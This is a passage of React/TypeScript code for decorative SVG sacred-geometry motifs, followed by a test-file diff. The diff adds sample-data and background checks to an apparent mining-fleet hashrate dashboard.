<circle cx={cx} cy={cy} r="0.6" fill={stroke} opacity="0.9" />
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke={stroke} strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
}
export function SeedOfLife({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 14;
const centers = [{ x: cx, y: cy }];
for (let i = 0; i < 6; i++) {
const a = (i * 60 * Math.PI) / 180;
centers.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
}
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity}>
<circle cx={cx} cy={cy} r={r * 2.2} fill="none" stroke={stroke} strokeWidth="0.2" strokeDasharray="0.8 1.4" />
{centers.map((c, i) => (
<circle key={i} cx={c.x} cy={c.y} r={r} fill="none" stroke={stroke} strokeWidth="0.18" />
))}
</g>
</svg>
);
}
export function MetatronCube({ className = '', stroke = DEFAULT_STROKE, opacity = 0.45 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 28;
const pts: { x: number; y: number }[] = [];
for (let i = 0; i < 6; i++) {
const a = ((i * 60 - 90) * Math.PI) / 180;
pts.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
}
const inner = r * 0.55;
const innerPts: { x: number; y: number }[] = [];
for (let i = 0; i < 6; i++) {
const a = ((i * 60 - 90) * Math.PI) / 180;
innerPts.push({ x: cx + inner * Math.cos(a), y: cy + inner * Math.sin(a) });
}
const lines: [number, number][] = [];
for (let i = 0; i < pts.length; i++) {
for (let j = i + 1; j < pts.length; j++) lines.push([i, j]);
}
for (let i = 0; i < innerPts.length; i++) {
for (let j = i + 1; j < innerPts.length; j++) lines.push([i + 6, j + 6]);
}
pts.forEach((_, i) => lines.push([i, i + 6]));
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} stroke={stroke} strokeWidth="0.14" fill="none">
<circle cx={cx} cy={cy} r={r * 1.05} strokeWidth="0.16" />
<circle cx={cx} cy={cy} r={inner} strokeDasharray="0.5 1" />
{lines.map(([a, b], i) => {
const p1 = a < 6 ? pts[a] : innerPts[a - 6];
const p2 = b < 6 ? pts[b] : innerPts[b - 6];
return <line key={i} x1={p1.x} y1={p1.y} x2={p2.x} y2={p2.y} opacity="0.5" />;
})}
{[...pts, ...innerPts].map((p, i) => (
<circle key={`d${i}`} cx={p.x} cy={p.y} r="0.5" fill={stroke} stroke="none" />
))}
</g>
</svg>
);
}
export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 22;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke}>
<circle cx={cx - r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<path
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
stroke="#00f5ff"
strokeWidth="0.16"
opacity="0.6"
/>
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
</g>
</svg>
);
}
export function HexLattice({ className = '', stroke = DEFAULT_STROKE, opacity = 0.35 }: MotifProps) {
const hex = (cx: number, cy: number, s: number) => {
const pts = Array.from({ length: 6 }, (_, i) => {
const a = ((60 * i - 30) * Math.PI) / 180;
return `${cx + s * Math.cos(a)},${cy + s * Math.sin(a)}`;
}).join(' ');
return <polygon key={`${cx}-${cy}`} points={pts} />;
};
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.12">
{hex(50, 50, 18)}
{hex(50, 32, 10)}
{hex(50, 68, 10)}
{hex(34, 41, 10)}
{hex(66, 41, 10)}
{hex(34, 59, 10)}
{hex(66, 59, 10)}
</g>
</svg>
);
}
export function GoldenSpiral({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
const cx = 18;
const cy = 82;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.18">
<rect x="18" y="18" width="64" height="64" strokeDasharray="1 2" opacity="0.35" />
<path
d="M 18 82 A 64 64 0 0 1 82 18 A 40 40 0 0 1 58 42 A 24 24 0 0 1 42 58 A 14 14 0 0 1 50 50"
stroke="#ffb020"
/>
<circle cx={cx} cy={cy} r="1" fill={stroke} />
</g>
</svg>
);
}
export function TorusRings({ className = '', stroke = DEFAULT_STROKE, opacity = 0.42 }: MotifProps) {
const cx = 50;
const cy = 50;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke}>
{[34, 26, 18, 10].map((r, i) => (
<ellipse
key={r}
cx={cx}
cy={cy}
rx={r}
ry={r * (0.55 + i * 0.08)}
strokeWidth="0.16"
transform={`rotate(${i * 12} ${cx} ${cy})`}
/>
))}
<circle cx={cx} cy={cy} r="2" fill={stroke} opacity="0.8" />
</g>
</svg>
);
}
/** Whimsical “key to knowledge” — geometric bow + shaft */
export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
<polygon
points="38,22 46,30 38,38 30,30"
strokeWidth="0.2"
fill="rgba(201,162,39,0.08)"
/>
<line x1="50" y1="50" x2="88" y2="88" strokeWidth="0.35" />
<rect x="72" y="72" width="8" height="8" strokeWidth="0.22" transform="rotate(45 76 76)" />
<rect x="80" y="64" width="6" height="6" strokeWidth="0.2" transform="rotate(45 83 67)" />
<path d="M 62 62 L 68 56 M 70 70 L 76 64" strokeWidth="0.18" opacity="0.7" />
</g>
</svg>
);
}
export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
const cx = 50;
const cy = 52;
const tri = (r: number, flip: boolean) => {
const pts = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
const y = (flip ? -1 : 1) * r * Math.sin(rad);
return `${cx + r * Math.cos(rad)},${cy + y}`;
});
return pts.join(' ');
};
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.16">
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
<polygon points={tri(32, false)} />
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
</g>
</svg>
);
}
export type MotifName =
| 'flower'
| 'seed'
| 'metatron'
| 'vesica'
| 'hex'
| 'spiral'
| 'torus'
| 'key'
| 'yantra';
export function SacredMotif({
name,
className = '',
stroke,
opacity,
}: MotifProps & { name: MotifName }) {
const props = { className, stroke, opacity };
switch (name) {
case 'seed':
return <SeedOfLife {...props} />;
case 'metatron':
return <MetatronCube {...props} />;
case 'vesica':
return <VesicaPiscis {...props} />;
case 'hex':
return <HexLattice {...props} />;
case 'spiral':
return <GoldenSpiral {...props} />;
case 'torus':
return <TorusRings {...props} />;
case 'key':
return <KnowledgeKey {...props} />;
case 'yantra':
return <SriYantraLite {...props} />;
case 'flower':
default:
return <FlowerOfLifeWatermark {...props} />;
}
}

View File

@@ -13,6 +13,7 @@ import { downloadApiFile, downloadAuthedFile } from '../api/download';
import { getStoredAuth } from '../api/auth';
import { useWebSocket } from '../hooks/useWebSocket';
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
import { generateSampleSeries, validateChartSeries } from '../help/chartSampleData';
import NeonCard from './NeonCard/NeonCard';
import { HelpTip, FieldHint } from './HelpTip';
@@ -316,7 +317,23 @@ describe('HashrateChart', () => {
it('shows empty state when data is empty', () => {
render(<HashrateChart data={[]} title="Fleet Hash" />);
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
});
it('renders chart with validated sample series', () => {
const sample = generateSampleSeries('hashrate', 24);
expect(validateChartSeries(sample).ok).toBe(true);
render(
<HashrateChart
data={sample}
displayMode="sample"
title="Fleet Hash"
color="#00f5ff"
unit="H/s"
/>
);
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
});
it('renders chart with data points', () => {
@@ -728,6 +745,8 @@ describe('AmbientBackground', () => {
const { container } = render(<AmbientBackground />);
expect(container.querySelector('.ambient-bg')).toBeTruthy();
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
expect(container.querySelector('.ambient-geo-hex-veil')).toBeTruthy();
expect(container.querySelectorAll('.ambient-geo-corner').length).toBeGreaterThanOrEqual(2);
});
});